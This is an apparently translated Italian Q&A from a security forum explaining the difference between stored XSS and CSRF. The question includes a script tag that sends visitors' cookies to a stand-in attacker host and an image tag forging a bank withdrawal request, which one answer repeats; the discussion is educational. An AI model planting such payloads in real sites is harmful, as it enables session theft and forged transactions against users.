Tipo 2 XSS vs CSRF

11

Cercando di creare una conoscenza approfondita di XSS e CSRF, sono chiaro che un xx di tipo 2 implica un exploit persistente sul server.

es.

<SCRIPT type="text/javascript">
new Image().src = 'http://www.attacker.com/evil.php?cookie=' + escape(document.cookie);
</SCRIPT>

Se lo script di cui sopra fa parte di un post in un forum vulnerabile a xss, ogni utente che visita la pagina invierà a sua volta il suo cookie a attacker.com tramite evil.php.

Com'è diverso da CSRF?

es. Un post su un forum può essere: -  Eve: Ciao Alice! Guarda qui:

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">

Misembracheinentrambiicasisiastatorichiamatounurlremotoecheentrambisianopersistentisulserver.

Riferimenti:

link

link

    
posta Karan 12.05.2013 - 09:10
fonte

2 risposte

7

A causa della politica della stessa origine , nel caso XSS, lo script deve essere caricato nel browser dell'utente in una pagina dello stesso dominio che stai tentando di attaccare.

Quindi, per rubare un cookie example.com da un utente, devi "inserire" quel JavaScript in una pagina su example.com . Ad esempio, example.com/viewArticle.php?id=4123&comments=1 in cui la sezione dei commenti è vulnerabile a un XSS.

Nel secondo caso, se desideri che il browser dell'utente invii una richiesta utilizzando la sessione dell'utente, è sufficiente che l'utente visiti una pagina evil.com/lolcats.html che contiene

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">

Tieni presente che non abbiamo inserito alcun codice o script su bank.example.com .

    
risposta data 12.05.2013 - 09:41
fonte
6

L'XSS si verifica quando un pezzo di script di origine del browser da fonti di terze parti viene iniettato nel contenuto di un sito Web vulnerabile, che può essere considerato come istruzioni per il browser dell'utente per "presentare" un sito Web. Nella terminologia web, il browser dell'utente ritiene che tali istruzioni siano legittime all'interno del dominio del sito web. Nello scenario XSS, il contenuto restituito contiene script iniettati che in realtà non sono ciò che il sito Web vuole (quindi "cross-sited"), ma il browser continua a pensare che sono legittimi e seguono le istruzioni (incluso l'esecuzione dello script del browser).

Quindi l'attacco XSS è " che sfrutta la fiducia del browser dell'utente sul contenuto restituito da un sito Web vulnerabile" .

CSRF si verifica quando una richiesta può essere attivata da terze parti per essere inviata dal browser di un utente vittima al sito Web vulnerabile ed essere elaborata. Questo è possibile perché dal punto di vista del sito web, la richiesta sembra essere legittima (inviata dal browser dell'utente - > possibile contenere i cookie necessari). Analogamente a XSS, nella terminologia attuale del Web, i siti Web ritengono che tutte le richieste inviate da un browser utente valido siano azioni legittimate realmente "avviate" dall'utente (ad esempio facendo clic sul pulsante desiderato), ma non lo è.

Pertanto, l'attacco CSRF è " che sfrutta la fiducia di un sito Web vulnerabile sulle richieste inviate da un browser utente vittima" . (Che in realtà è l'opposto di XSS)

XSS e CSRF sono spesso confusi perché in molti scenari, CSRF viene sfruttato tramite la vulnerabilità XSS - ma la condizione XSS non è una condizione necessaria per CSRF

    
risposta data 12.05.2013 - 15:14
fonte

Leggi altre domande sui tag